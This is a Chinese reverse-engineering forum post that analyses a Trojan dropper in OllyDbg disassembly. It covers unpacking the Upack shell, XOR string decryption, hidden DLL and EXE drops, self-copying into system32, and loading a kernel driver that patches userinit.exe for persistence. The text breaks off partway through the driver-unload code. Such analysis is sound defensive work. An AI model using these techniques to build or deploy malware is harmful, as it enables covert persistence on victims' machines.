吾爱破解论坛

[LCG]

[LSG]

立足软件安全和病毒分析最前端，丰富的技术版块交相辉映，由无数加密解密及反病毒爱好者共同维护，留给世界一抹值得百年回眸的惊艳，沉淀百年来计算机应用之精华与优雅，信息线条与生活质感淡定交融，任岁月流转，低调而奢华的技术交流与研究却是亘古不变。

标题：一个小马的简单分析

作者：ximo

二星期前的老样本了，当初做的一个简单的笔记，最近貌似 killav 比较流行，所以就发个简单的分析。不过最近的样本基本上也大同小异。
本人能力有限，分析错的，请多多指教，谢谢。

程序加的是壳是：Upack 2.4 - 2.9 beta -> Dwing [Overlay]
脱壳很简单，OD 载入后，单步跟或直接往下拉，找到下面的代码

```
00426C60      85C0                    test eax,eax
00426C62    - 0F84 DFB0FDFF           je g1[1].00401D47
00426C68      56                      push esi
00426C69      97                      xchg eax,edi
00426C6A      FF53 FC                 call dword ptr ds:[ebx-4]
```

然后在 00426C62   - 0F84 DFB0FDFF   je g1[1].00401D47 处设置条件断点为：
eax==0，F9 运行，断下后，F8 一次，即可来到 OEP 了

```
00401D47      55                      push ebp                                ; advapi32.77DA0000
00401D48      8BEC                    mov ebp,esp
00401D4A      6A FF                   push -1
00401D4C      68 30614000             push g1[1].00406130
00401D51      68 FC384000             push g1[1].004038FC
00401D56      64:A1 00000000          mov eax,dword ptr fs:[0]
00401D5C      50                      push eax
00401D5D      64:8925 00000000        mov dword ptr fs:[0],esp
00401D64      83EC 58                 sub esp,58
00401D67      53                      push ebx
00401D68      56                      push esi
00401D69      57                      push edi
00401D6A      8965 E8                 mov dword ptr ss:[ebp-18],esp
00401D6D      FF15 9C604000           call dword ptr ds:[40609C]              ; kernel32.GetVersion
```

下面的病毒的相关行为分析：

一、创建系统快照，利用 PROCESSENTRY32 的结构，返回父进程的 PID：

```
typedef struct tagPROCESSENTRY32
{
DWORD dwSize; // 结构大小；
DWORD cntUsage; // 此进程的引用计数；
DWORD th32ProcessID; // 进程 ID;
DWORD th32DefaultHeapID; // 进程默认堆 ID；
DWORD th32ModuleID; // 进程模块 ID；
DWORD cntThreads; // 此进程开启的线程计数；
DWORD th32ParentProcessID; // 父进程 ID；
LONG pcPriClassBase; // 线程优先权；
DWORD dwFlags; // 保留；
char szExeFile[MAX_PATH]; // 进程全名；
} PROCESSENTRY32;
```

```
00401685     E8 46FFFFFF            call UnPacked.004015D0                    ; 返回父进程的 PID

{

004015D0  /   81EC 28010000        sub esp,128
004015D6  |.  56                    push esi
004015D7  |.  57                    push edi
004015D8  |.  33C0                  xor eax,eax
004015DA  |.  B9 49000000          mov ecx,49
004015DF  |.  8D7C24 0C            lea edi,dword ptr ss:[esp+C]
004015E3  |.  C74424 08 00000000 mov dword ptr ss:[esp+8],0
004015EB  |.  50                    push eax                                  ; /ProcessID => 0
004015EC   |.   6A 02                    push 2                                    ; |Flags =
TH32CS_SNAPPROCESS
004015EE  |.  F3:AB                 rep stos dword ptr es:[edi]               ; |
004015F0  |.  E8 07060000          call <jmp.&kernel32.CreateToolhelp32Snapshot>; \CreateToolhelp32Snapshot

004015F5  |.  8BF0                  mov esi,eax
004015F7  |.  83FE FF               cmp esi,-1
004015FA  |.  75 0B                 jnz short UnPacked.00401607
004015FC  |.  5F                    pop edi
004015FD  |.  33C0                  xor eax,eax
004015FF  |.  5E                    pop esi
00401600  |.  81C4 28010000        add esp,128
00401606  |.  C3                    retn
00401607  |>   8D4424 08            lea eax,dword ptr ss:[esp+8]
0040160B  |.  C74424 08 28010000 mov dword ptr ss:[esp+8],128
00401613  |.  50                    push eax                                  ; /lppe
00401614  |.  56                    push esi                                  ; |hSnapshot
00401615  |.  E8 DC050000          call <jmp.&kernel32.Process32First>       ; \Process32First
0040161A  |.  85C0                  test eax,eax
0040161C  |.  74 21                 je short UnPacked.0040163F
0040161E      |.     8B3D   80604000                mov   edi,dword   ptr   ds:[<&kernel32.GetCurrentP>;
kernel32.GetCurrentProcessId
00401624  |.  FFD7                  call edi                                  ; [GetCurrentProcessId
00401626  |.  394424 10             cmp dword ptr ss:[esp+10],eax
0040162A  |.  74 13                 je short UnPacked.0040163F
0040162C  |>   8D4C24 08             /lea ecx,dword ptr ss:[esp+8]
00401630  |.  51                    |push ecx                                  ; /lppe
00401631  |.  56                    |push esi                                  ; |hSnapshot
00401632  |.  E8 B9050000          |call <jmp.&kernel32.Process32Next>        ; \Process32Next
00401637  |.  FFD7                  |call edi
00401639  |.  394424 10             |cmp dword ptr ss:[esp+10],eax
0040163D  |.^ 75 ED                 \jnz short UnPacked.0040162C
0040163F  |>   8B4424 20            mov eax,dword ptr ss:[esp+20]
00401643  |.  5F                    pop edi
00401644  |.  5E                    pop esi
00401645  |.  81C4 28010000        add esp,128
0040164B  \.  C3                    retn

}
```

二、字符串的解密

已经被加密的字符串

```
004016D2    .   BF F8704000          mov edi,UnPacked.004070F8                    ;   ^^iknnfnn,fnn

00401794    .   BF E8704000          mov edi,UnPacked.004070E8                    ;   ^^pwlfnn10,gzg

00401873    .   BF DC704000          mov edi,UnPacked.004070DC                    ;   iknncnn
```

解密函数：

```
0040170A    .   E8 F1F8FFFF          call <UnPacked.解密算法>
{
//核心算法

0040100F   |.   B8 02000000          mov eax,2
00401014   |.   8B4D 0C              mov ecx,dword ptr ss:[ebp+C]
00401017   |>    3106                 /xor dword ptr ds:[esi],eax
00401019   |.   46                    |inc esi
0040101A   |.^ E2 FB                 \loopd short UnPacked.00401017

//算法很简单，就是加密字符串的每一位与 0x2 异或，所得结果即是解密后的字符串

}
```

由此得：

^^iknnfnn,fnn 解密为\\killdll.dll

^^pwlfnn10,gzg 解密为\\rundll32.exe

iknncnn 解密为 killall

三、在系统目录下创建文件：C:\WINDOWS\system32\\killdll.dll

```
0040178F    .   E8 CCF8FFFF          call UnPacked.00401060                       ;   创建 killdll.dll
{
00401060   /    8B4424 0C           mov eax,dword ptr ss:[esp+C]
00401064   |.   8B4C24 08            mov ecx,dword ptr ss:[esp+8]
00401068   |.   53                   push ebx
00401069   |.   56                   push esi
0040106A   |.   57                   push edi
0040106B   |.   50                   push eax                                     ; /ResourceType
0040106C   |.   51                   push ecx                                     ; |ResourceName
0040106D   |.   6A 00                push 0                                       ; |hModule = NULL
0040106F   |.   FF15 68604000        call dword ptr ds:[<&kernel32.FindResourceA>>; \FindResourceA
00401075   |.   8BF0                 mov esi,eax
00401077   |.   85F6                 test esi,esi
00401079   |.   74 60                je short UnPacked.004010DB
0040107B   |.   56                   push esi                                    ; /hResource
0040107C   |.   6A 00                push 0                                       ; |hModule = NULL
0040107E   |.   FF15 6C604000        call dword ptr ds:[<&kernel32.SizeofResource>; \SizeofResource
00401084   |.   8BD8                 mov ebx,eax
00401086   |.   85DB                 test ebx,ebx
00401088   |.   74 51                je short UnPacked.004010DB
```

```
0040108A   |.  56                  push esi                                          ; /hResource
0040108B   |.  6A 00               push 0                                            ; |hModule = NULL
0040108D   |.  FF15 70604000       call dword ptr ds:[<&kernel32.LoadResource>] ; \LoadResource
00401093   |.  8BF8                mov edi,eax
00401095   |.  85FF                test edi,edi
00401097   |.  74 42               je short UnPacked.004010DB
00401099   |.  8B5424 10           mov edx,dword ptr ss:[esp+10]
0040109D   |.  6A 00               push 0                                            ; /hTemplateFile = NULL
0040109F   |.  6A 00               push 0                                            ; |Attributes = 0
004010A1   |.  6A 02               push 2                                            ; |Mode = Create_ALWAYS
004010A3   |.  6A 00               push 0                                            ; |pSecurity = NULL
004010A5   |.  6A 00               push 0                                            ; |ShareMode = 0
004010A7   |.  68 00000040         push 40000000                                     ; |Access =
GENERIC_WRITE
004010AC   |.  52                  push edx                                          ; |FileName
004010AD   |.  FF15 74604000       call dword ptr ds:[<&kernel32.CreateFileA>]   ; \CreateFileA
004010B3   |.  8BF0                mov esi,eax
004010B5   |.  85F6                test esi,esi
004010B7   |.  75 04               jnz short UnPacked.004010BD
004010B9   |.  5F                  pop edi
004010BA   |.  5E                  pop esi
004010BB   |.  5B                  pop ebx
004010BC   |.  C3                  retn
004010BD   |>  8D4424 18           lea eax,dword ptr ss:[esp+18]
004010C1   |.  6A 00               push 0                                            ; /pOverlapped = NULL
004010C3   |.  50                  push eax                                          ; |pBytesWritten
004010C4   |.  53                  push ebx                                          ; |nBytesToWrite
004010C5   |.  57                  push edi                                          ; |/nHandles
004010C6   |.  FF15 78604000       call dword ptr ds:[<&kernel32.LockResource>] ; |\SetHandleCount
004010CC   |.  50                  push eax                                          ; |Buffer
004010CD   |.  56                  push esi                                          ; |hFile
004010CE   |.  FF15 7C604000       call dword ptr ds:[<&kernel32.WriteFile>]     ; \WriteFile
004010D4   |.  56                  push esi                                          ; /hObject
004010D5   |.  FF15 84604000       call dword ptr ds:[<&kernel32.CloseHandle>]   ; \CloseHandle
004010DB   |>  5F                  pop edi
004010DC   |.  5E                  pop esi
004010DD   |.  83C8 FF             or eax,FFFFFFFF
004010E0   |.  5B                  pop ebx
004010E1   \.  C3                  retn
}
```

四、把生成的 killdll.dll 用 rundll32.exe 进行加载，方式为隐藏方式。

```
004018E7    .  50                  push eax                                          ; /ShowState =>
SW_HIDE
004018E8    .  F3:A4               rep movs byte ptr es:[edi],byte ptr ds:[esi] ; |
004018EA    .  8DBD FCFCFFFF       lea edi,dword ptr ss:[ebp-304]                ; |
004018F0    .  83C9 FF             or ecx,FFFFFFFF                               ; |
004018F3    .  F2:AE               repne scas byte ptr es:[edi]                  ; |
004018F5    .  F7D1                not ecx                                       ; |
004018F7    .  2BF9                sub edi,ecx                                   ; |
004018F9    .  8BF7                mov esi,edi                                   ; |
```

```
004018FB    .  8BD9              mov ebx,ecx                                    ; |
004018FD    .  8BFA              mov edi,edx                                    ; |killdll.dll 插入到
rundll32.exe 中
004018FF    .  83C9 FF           or ecx,FFFFFFFF                                ; |
00401902    .  F2:AE             repne scas byte ptr es:[edi]                   ; |以隐藏方式运行
00401904    .  8BCB              mov ecx,ebx                                    ; |
00401906    .  4F                dec edi                                        ; |
00401907    .  C1E9 02           shr ecx,2                                      ; |
0040190A    .  F3:A5             rep movs dword ptr es:[edi],dword ptr ds:[es>; |
0040190C    .  8BCB              mov ecx,ebx                                    ; |
0040190E    .  8D85 FCFDFFFF     lea eax,dword ptr ss:[ebp-204]                 ; |
00401914    .  83E1 03           and ecx,3                                      ; |
00401917    .  50                push eax                                       ; |CmdLine
00401918    .  F3:A4             rep movs byte ptr es:[edi],byte ptr ds:[esi] ; |
0040191A    .  FF15 2C604000     call dword ptr ds:[<&kernel32.WinExec>]        ; \WinExec
```

五、在临时目录下生成文件~Frm.exe，并且运行它

```
00401942    .  51                push ecx                                       ; /Buffer
00401943    .  68 04010000       push 104                                       ; |BufSize = 104 (260.)
00401948    .  FF15 38604000     call dword ptr ds:[<&kernel32.GetTempPathA>] ; \GetTempPathA
0040194E    .  8D95 F8FBFFFF     lea edx,dword ptr ss:[ebp-408]
00401954    .  BF D0704000       mov edi,UnPacked.004070D0                      ;  ~Frm.exe
00401959    .  83C9 FF           or ecx,FFFFFFFF
0040195C    .  33C0              xor eax,eax
0040195E    .  F2:AE             repne scas byte ptr es:[edi]
00401960    .  F7D1              not ecx
00401962    .  2BF9              sub edi,ecx
00401964    .  68 74704000       push UnPacked.00407074                         ;  SERVER
00401969    .  8BF7              mov esi,edi
0040196B    .  8BFA              mov edi,edx
0040196D    .  8BD1              mov edx,ecx
0040196F    .  83C9 FF           or ecx,FFFFFFFF
00401972    .  F2:AE             repne scas byte ptr es:[edi]
00401974    .  8BCA              mov ecx,edx
00401976    .  4F                dec edi
00401977    .  C1E9 02           shr ecx,2
0040197A    .  F3:A5             rep movs dword ptr es:[edi],dword ptr ds:[es>
0040197C    .  8BCA              mov ecx,edx
0040197E    .  8D85 F8FBFFFF     lea eax,dword ptr ss:[ebp-408]
00401984    .  83E1 03           and ecx,3
00401987    .  6A 7D             push 7D
00401989    .  F3:A4             rep movs byte ptr es:[edi],byte ptr ds:[esi]
0040198B    .  50                push eax
0040198C    .  E8 CFF6FFFF       call UnPacked.00401060                         ;  在临时目录下生成文件
~Frm.exe
00401991    .  83C4 0C           add esp,0C
00401994    .  8D8D F8FBFFFF     lea ecx,dword ptr ss:[ebp-408]
0040199A    .  6A 05             push 5                                         ; /ShowState = SW_SHOW

0040199C    .  51                push ecx                                       ; |CmdLine
0040199D    .  FF15 2C604000     call dword ptr ds:[<&kernel32.WinExec>]        ; \WinExec
```

六、删除 C:\WINDOWS\system32\\killdll.dll，再把本身复制到 C:\WINDOWS\system32 目录下，命名为 updater.exe

删除 killdll.dll:

```
004019AA   .  8D95 F4F8FFFF      lea edx,dword ptr ss:[ebp-70C]
004019B0   .  52                 push edx                                  ; /FileName
004019B1   .  FF15 24604000      call dword ptr ds:[<&kernel32.DeleteFileA>]  ; \DeleteFileA
```

复制本身到 C:\WINDOWS\system32 目录下，命名为 updater.exe

```
004019C4   .  68 04010000        push 104                                  ; /BufSize = 104 (260.)
004019C9   .  F3:AB              rep stos dword ptr es:[edi]               ; |
004019CB   .  8D85 F0F6FFFF      lea eax,dword ptr ss:[ebp-910]            ; |
004019D1   .  50                 push eax                                  ; |Buffer
004019D2   .  FF15 54604000      call dword ptr ds:[<&kernel32.GetSystemDirec>; \GetSystemDirectoryA
004019D8   .  BF C0704000       mov edi,UnPacked.004070C0                 ;  \updater.exe
004019DD   .  83C9 FF            or ecx,FFFFFFFF
004019E0   .  33C0               xor eax,eax
004019E2   .  8D95 F0F6FFFF      lea edx,dword ptr ss:[ebp-910]
004019E8   .  F2:AE              repne scas byte ptr es:[edi]
004019EA   .  F7D1               not ecx
004019EC   .  2BF9               sub edi,ecx
004019EE   .  68 FF000000        push 0FF                                  ; /BufSize = FF (255.)
004019F3   .  8BF7               mov esi,edi                               ; |
004019F5   .  8BFA               mov edi,edx                               ; |
004019F7   .  8BD1               mov edx,ecx                               ; |
004019F9   .  83C9 FF            or ecx,FFFFFFFF                           ; |
004019FC   .  F2:AE              repne scas byte ptr es:[edi]              ; |
004019FE   .  8BCA               mov ecx,edx                               ; |
00401A00   .  4F                 dec edi                                   ; |
00401A01   .  C1E9 02            shr ecx,2                                 ; |
00401A04   .  F3:A5              rep movs dword ptr es:[edi],dword ptr ds:[es>; |
00401A06   .  8BCA               mov ecx,edx                               ; |
00401A08   .  83E1 03            and ecx,3                                 ; |
00401A0B   .  F3:A4              rep movs byte ptr es:[edi],byte ptr ds:[esi] ; |
00401A0D   .  B9 3F000000        mov ecx,3F                                ; |
00401A12   .  8DBD F0F5FFFF      lea edi,dword ptr ss:[ebp-A10]            ; |
00401A18   .  F3:AB              rep stos dword ptr es:[edi]               ; |
00401A1A   .  66:AB              stos word ptr es:[edi]                    ; |
00401A1C   .  AA                 stos byte ptr es:[edi]                    ; |
00401A1D   .  8D85 F0F5FFFF      lea eax,dword ptr ss:[ebp-A10]            ; |
00401A23   .  50                 push eax                                  ; |PathBuffer
00401A24   .  6A 00              push 0                                    ; |hModule = NULL
00401A26   .  FF15 34604000      call dword ptr ds:[<&kernel32.GetModuleFileN>; \GetModuleFileNameA
00401A2C   .  8D8D F0F6FFFF      lea ecx,dword ptr ss:[ebp-910]
00401A32   .  6A 01              push 1                                    ; /Flags =
REPLACE_EXISTING
00401A34   .  8D95 F0F5FFFF      lea edx,dword ptr ss:[ebp-A10]            ; |
00401A3A   .  51                 push ecx                                  ; |NewName
00401A3B   .  52                 push edx                                  ; |ExistingName
00401A3C   .  FF15 4C604000      call dword ptr ds:[<&kernel32.MoveFileExA>]  ; \MoveFileExA
```

七、C:\WINDOWS\system32\drivers 下生成驱动文件 pcidump.sys

```
00401B8B    .  E8 60F5FFFF          call UnPacked.004010F0                          ;  创建驱动 pcidump.sys
```

八、创建服务，目的用来加载驱动 pcidump.sys

```
00401B97    .  E8 14F6FFFF          call UnPacked.004011B0                          ;  创建服务来加载驱动
{
004011B0  /  83EC 1C               sub esp,1C
004011B3  |.  56                    push esi
004011B4  |.  68 3F000F00          push 0F003F
004011B9  |.  6A 00                push 0
004011BB  |.  6A 00                push 0
004011BD  |.  FF15 18604000        call dword ptr ds:[<&advapi32.OpenSCManagerA>;
advapi32.OpenSCManagerA
004011C3  |.  8BF0                 mov esi,eax
004011C5  |.  85F6                 test esi,esi
004011C7  |.  0F84 0D010000        je UnPacked.004012DA
004011CD  |.  53                   push ebx
004011CE  |.  8B5C24 28            mov ebx,dword ptr ss:[esp+28]
004011D2  |.  55                   push ebp
004011D3  |.  57                   push edi
004011D4  |.  6A 00                push 0                                          ; /Password = NULL
004011D6  |.  6A 00                push 0                                          ; |ServiceStartName =
NULL
004011D8  |.  6A 00                push 0                                          ; |pDependencies = NULL
004011DA  |.  6A 00                push 0                                          ; |pTagId = NULL
004011DC  |.  6A 00                push 0                                          ; |LoadOrderGroup = NULL

004011DE  |.  8B2D 00604000        mov ebp,dword ptr ds:[<&advapi32.CreateServi>; |advapi32.CreateServiceA

004011E4  |.  53                   push ebx                                        ; |BinaryPathName
004011E5  |.  6A 00                push 0                                          ; |ErrorControl =
SERVICE_ERROR_IGNORE
004011E7  |.  6A 03                push 3                                          ; |StartType =
SERVICE_DEMAND_START
004011E9  |.  6A 01                push 1                                          ; |ServiceType =
SERVICE_KERNEL_DRIVER
004011EB  |.  68 FF010F00          push 0F01FF                                     ; |DesiredAccess =
SERVICE_ALL_ACCESS
004011F0  |.  68 7C704000          push UnPacked.0040707C                          ; |DisplayName =
"pcidump"
004011F5  |.  68 7C704000          push UnPacked.0040707C                          ; |ServiceName =
"pcidump"
004011FA  |.  56                   push esi                                        ; |hManager
004011FB  |.  FFD5                 call ebp                                        ; \CreateServiceA
004011FD  |.  85C0                 test eax,eax
004011FF  |.  75 5A                jnz short UnPacked.0040125B
00401201  |.  68 FF010F00          push 0F01FF
00401206  |.  68 7C704000          push UnPacked.0040707C                          ;  ASCII "pcidump"
0040120B  |.  56                   push esi
0040120C  |.  FF15 04604000        call dword ptr ds:[<&advapi32.OpenServiceA>] ;  advapi32.OpenServiceA
```

```
00401212  |.  8BF8                mov edi,eax
00401214  |.  85FF                test edi,edi
00401216  |.  74 1C               je short UnPacked.00401234
00401218  |.  8D4424 10           lea eax,dword ptr ss:[esp+10]
0040121C  |.  50                  push eax
0040121D  |.  6A 01               push 1
0040121F  |.  57                  push edi
00401220  |.  FF15 08604000       call dword ptr ds:[<&advapi32.ControlService>;  advapi32.ControlService
00401226  |.  57                  push edi
00401227  |.  FF15 0C604000       call dword ptr ds:[<&advapi32.DeleteService>>;  advapi32.DeleteService
0040122D  |.  57                  push edi
0040122E  |.  FF15 10604000       call dword ptr ds:[<&advapi32.CloseServiceHa>;
advapi32.CloseServiceHandle
00401234  |>  6A 00               push 0
00401236  |.  6A 00               push 0
00401238  |.  6A 00               push 0
0040123A  |.  6A 00               push 0
0040123C  |.  6A 00               push 0
0040123E  |.  53                  push ebx
0040123F  |.  6A 00               push 0
00401241  |.  6A 03               push 3
00401243  |.  6A 01               push 1
00401245  |.  68 FF010F00         push 0F01FF
0040124A  |.  68 7C704000         push UnPacked.0040707C                    ;  ASCII "pcidump"
0040124F  |.  68 7C704000         push UnPacked.0040707C                    ;  ASCII "pcidump"
00401254  |.  56                  push esi
00401255  |.  FFD5                call ebp
00401257  |.  85C0                test eax,eax
00401259  |.  74 66               je short UnPacked.004012C1
0040125B  |>  50                  push eax
0040125C  |.  FF15 10604000       call dword ptr ds:[<&advapi32.CloseServiceHa>;
advapi32.CloseServiceHandle
00401262  |.  6A 10               push 10
00401264  |.  68 7C704000         push UnPacked.0040707C                    ;  ASCII "pcidump"
00401269  |.  56                  push esi
0040126A  |.  FF15 04604000       call dword ptr ds:[<&advapi32.OpenServiceA>] ;  advapi32.OpenServiceA
00401270  |.  8BF8                mov edi,eax
00401272  |.  85FF                test edi,edi
00401274  |.  74 4B               je short UnPacked.004012C1
00401276  |.  6A 00               push 0
00401278  |.  6A 00               push 0
0040127A  |.  57                  push edi
0040127B  |.  FF15 14604000       call dword ptr ds:[<&advapi32.StartServiceA>>;  advapi32.StartServiceA
00401281  |.  85C0                test eax,eax
00401283  |.  75 20               jnz short UnPacked.004012A5
00401285  |.  FF15 20604000       call dword ptr ds:[<&kernel32.GetLastError>] ; [GetLastError
0040128B  |.  57                  push edi
0040128C  |.  8BD8                mov ebx,eax
0040128E  |.  FF15 10604000       call dword ptr ds:[<&advapi32.CloseServiceHa>;
advapi32.CloseServiceHandle
00401294  |.  56                  push esi
00401295  |.  FF15 10604000       call dword ptr ds:[<&advapi32.CloseServiceHa>;
```

```
advapi32.CloseServiceHandle
0040129B   |.  5F                    pop edi
0040129C   |.  8BC3                  mov eax,ebx
0040129E   |.  5D                    pop ebp
0040129F   |.  5B                    pop ebx
004012A0   |.  5E                    pop esi
004012A1   |.  83C4 1C               add esp,1C
004012A4   |.  C3                    retn
004012A5   |>  8B5C24 30             mov ebx,dword ptr ss:[esp+30]
004012A9   |.  57                    push edi
004012AA       |.       FF15    10604000                call    dword    ptr    ds:[<&advapi32.CloseServiceHa>;
advapi32.CloseServiceHandle
004012B0   |.  56                    push esi
004012B1       |.       FF15    10604000                call    dword    ptr    ds:[<&advapi32.CloseServiceHa>;
advapi32.CloseServiceHandle
004012B7   |.  5F                    pop edi
004012B8   |.  8BC3                  mov eax,ebx
004012BA   |.  5D                    pop ebp
004012BB   |.  5B                    pop ebx
004012BC   |.  5E                    pop esi
004012BD   |.  83C4 1C               add esp,1C
004012C0   |.  C3                    retn
004012C1   |>  FF15 20604000         call dword ptr ds:[<&kernel32.GetLastError>] ; [GetLastError
004012C7   |.  56                    push esi
004012C8   |.  8BD8                  mov ebx,eax
004012CA       |.       FF15    10604000                call    dword    ptr    ds:[<&advapi32.CloseServiceHa>;
advapi32.CloseServiceHandle
004012D0   |.  5F                    pop edi
004012D1   |.  8BC3                  mov eax,ebx
004012D3   |.  5D                    pop ebp
004012D4   |.  5B                    pop ebx
004012D5   |.  5E                    pop esi
004012D6   |.  83C4 1C               add esp,1C
004012D9   |.  C3                    retn
004012DA   |>  FF15 20604000         call dword ptr ds:[<&kernel32.GetLastError>] ; [GetLastError
004012E0   |.  5E                    pop esi
004012E1   |.  83C4 1C               add esp,1C
004012E4   \.  C3                    retn

}
```

九、创建驱动管道，用来进行驱动通信

```
00401BAA    .  E8 B1F7FFFF          call UnPacked.00401360                          ;  驱动通信
{
00401360    .  55                   push ebp
00401361    .  8BEC                 mov ebp,esp
00401363    .  83EC 10              sub esp,10
00401366    .  53                   push ebx
00401367    .  56                   push esi
00401368    .  57                   push edi
00401369     .   60                          pushad                                                  ;
```

```
////////////////////////////////////
0040136A    .  F5                   cmc
0040136B    .  90                   nop
0040136C    .  F5                   cmc
0040136D    .  90                   nop
0040136E    .  74 0D                je short UnPacked.0040137D                    ;  花指令，直接无视掉
00401370    .  75 0B                jnz short UnPacked.0040137D
00401372       E8                   db E8
00401373       CC                   int3
00401374       E9                   db E9
00401375    .^ E1 E2                loopde short UnPacked.00401359
00401377    .^ E3 E4                jecxz short UnPacked.0040135D
00401379    .  E5 E6                in eax,0E6
0040137B    .  E7 E8                out 0E8,eax
0040137D     >    61                        popad                                                                ;
////////////////////////////////////
0040137E    .  68 90010000          push 190
00401383    .  6A 01                push 1
00401385    .  E8 E1080000          call UnPacked.00401C6B
0040138A    .  6A 08                push 8
0040138C    .  6A 01                push 1
0040138E    .  8BD8                 mov ebx,eax
00401390    .  E8 D6080000          call UnPacked.00401C6B
00401395    .  83C4 10              add esp,10
00401398    .  8945 FC              mov dword ptr ss:[ebp-4],eax
0040139B    .  6A 00                push 0                                       ; /hTemplateFile = NULL
0040139D    .  68 80000000          push 80                                       ; |Attributes = NORMAL
004013A2     .   6A 03                   push 3                                                ; |Mode =
OPEN_EXISTING
004013A4    .  6A 00                push 0                                       ; |pSecurity = NULL
004013A6    .  6A 00                push 0                                       ; |ShareMode = 0
004013A8     .   68 000000C0            push C0000000                                        ; |Access =
GENERIC_READ|GENERIC_WRITE
004013AD     .   68 84704000            push UnPacked.00407084                             ; |FileName =
"\\.\pcidump"
004013B2    .  FF15 74604000        call dword ptr ds:[<&kernel32.CreateFileA>]   ; \CreateFileA
004013B8    .  8945 F0              mov dword ptr ss:[ebp-10],eax
004013BB    .  FF15 20604000        call dword ptr ds:[<&kernel32.GetLastError>] ; [GetLastError
004013C1    .  8B7D 0C              mov edi,dword ptr ss:[ebp+C]
004013C4    .  83C9 FF              or ecx,FFFFFFFF
004013C7    .  33C0                 xor eax,eax
004013C9    .  8D93 C8000000        lea edx,dword ptr ds:[ebx+C8]
004013CF    .  F2:AE                repne scas byte ptr es:[edi]
004013D1    .  F7D1                 not ecx
004013D3    .  2BF9                 sub edi,ecx
004013D5    .  8955 F4              mov dword ptr ss:[ebp-C],edx
004013D8    .  8BC1                 mov eax,ecx
004013DA    .  8BF7                 mov esi,edi
004013DC    .  8BFB                 mov edi,ebx
004013DE    .  C1E9 02              shr ecx,2
004013E1    .  F3:A5                rep movs dword ptr es:[edi],dword ptr ds:[es>
004013E3    .  8BC8                 mov ecx,eax
```

```
004013E5   .  33C0              xor eax,eax
004013E7   .  83E1 03           and ecx,3
004013EA   .  F3:A4             rep movs byte ptr es:[edi],byte ptr ds:[esi]
004013EC   .  8B7D 08           mov edi,dword ptr ss:[ebp+8]
004013EF   .  83C9 FF           or ecx,FFFFFFFF
004013F2   .  F2:AE             repne scas byte ptr es:[edi]
004013F4   .  F7D1              not ecx
004013F6   .  2BF9              sub edi,ecx
004013F8   .  8BC1              mov eax,ecx
004013FA   .  8BF7              mov esi,edi
004013FC   .  8BFA              mov edi,edx
004013FE   .  8BD0              mov edx,eax
00401400   .  83C9 FF           or ecx,FFFFFFFF
00401403   .  33C0              xor eax,eax
00401405   .  F2:AE             repne scas byte ptr es:[edi]
00401407   .  8BCA              mov ecx,edx
00401409   .  4F                dec edi
0040140A   .  C1E9 02           shr ecx,2
0040140D   .  F3:A5             rep movs dword ptr es:[edi],dword ptr ds:[es>
0040140F   .  8BCA              mov ecx,edx
00401411   .  83E1 03           and ecx,3
00401414   .  F3:A4             rep movs byte ptr es:[edi],byte ptr ds:[esi]
00401416   .  895D FC           mov dword ptr ss:[ebp-4],ebx
00401419   .  8B45 F4           mov eax,dword ptr ss:[ebp-C]
0040141C   .  8945 00           mov dword ptr ss:[ebp],eax
0040141F   .  33C0              xor eax,eax
00401421   .  8B45 F0           mov eax,dword ptr ss:[ebp-10]
00401424   .  85C0              test eax,eax
00401426   .  74 20             je short UnPacked.00401448
00401428   .  8D4D F8           lea ecx,dword ptr ss:[ebp-8]
0040142B   .  6A 00             push 0                                  ; /pOverlapped = NULL
0040142D   .  51                push ecx                                ; |pBytesReturned
0040142E   .  6A 00             push 0                                  ; |OutBufferSize = 0
00401430   .  6A 00             push 0                                  ; |OutBuffer = NULL
00401432   .  8D55 FC           lea edx,dword ptr ss:[ebp-4]            ; |
00401435   .  6A 08             push 8                                  ; |InBufferSize = 8
00401437   .  52                push edx                                ; |InBuffer
00401438   .  68 14202200        push 222014                             ; |IoControlCode =
222014
0040143D   .  50                push eax                                ; |hDevice
0040143E   .  FF15 28604000     call dword ptr ds:[<&kernel32.DeviceIoContro>; \DeviceIoControl
00401444   .  33F6              xor esi,esi
00401446   .  EB 03             jmp short UnPacked.0040144B
00401448   >  83CE FF           or esi,FFFFFFFF
0040144B   >  8B45 FC           mov eax,dword ptr ss:[ebp-4]
0040144E   .  50                push eax
0040144F   .  E8 AE070000       call UnPacked.00401C02
00401454   .  53                push ebx
00401455   .  E8 A8070000       call UnPacked.00401C02
0040145A   .  83C4 08           add esp,8
0040145D   .  8BC6              mov eax,esi
0040145F   .  5F                pop edi
```

```
00401460   .  5E                  pop esi
00401461   .  5B                  pop ebx
00401462   .  8BE5                mov esp,ebp
00401464   .  5D                  pop ebp
00401465   .  C3                  retn
}
```

该驱动的目的是进行通信来修改 userinit.exe，把 C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~Frm.exe 插入到 C:\WINDOWS\system32\userinit.exe，来实现开机启动

```
0012F50C   0012F92C  ASCII "\??\C:\WINDOWS\system32\userinit.exe"
0012F510   0012F728  ASCII "\??\C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~Frm.exe"
0012F514   0012FA2C  ASCII "C:\WINDOWS\system32\drivers\pcidump.sys"
```

十、卸载掉该驱动，然后删除之

```
004012F0  /.  83EC 1C             sub esp,1C
004012F3  |.  57                   push edi
004012F4  |.  6A 02                push 2
004012F6  |.  6A 00                push 0
004012F8  |.  6A 00                push 0
004012FA      |.      FF15   18604000                call   dword   ptr   ds:[<&advapi32.OpenSCManagerA>;
advapi32.OpenSCManagerA
00401300  |.  8BF8                 mov edi,eax
00401302  |.  85FF                 test edi,edi
00401304  |.  74 3C                je short UnPacked.00401342
00401306  |.  53                   push ebx
00401307  |.  56                   push esi
00401308   |.   68 20000100           push 10020                                          ;   UNICODE
"PROFILE=C:\Documents and Settings\All Users"
0040130D  |.  68 7C704000          push UnPacked.0040707C                              ;  ASCII "pcidump"
00401312  |.  57                   push edi
00401313  |.  FF15 04604000        call dword ptr ds:[<&advapi32.OpenServiceA>] ;  advapi32.OpenServiceA
00401319      |.      8B1D   10604000                mov   ebx,dword   ptr   ds:[<&advapi32.CloseServic>;
advapi32.CloseServiceHandle
0040131F  |.  8BF0                 mov esi,eax
00401321  |.  85F6                 test esi,esi
00401323  |.  74 18                je short UnPacked.0040133D
00401325  |.  8D4424 0C            lea eax,dword ptr ss:[esp+C]
00401329  |.  50                   push eax
0040132A  |.  6A 01                push 1
0040132C  |.  56                   push esi
0040132D  |.  FF15 08604000        call dword ptr ds:[<&advapi32.ControlService>;  advapi32.ControlService
00401333  |.  56                   push esi
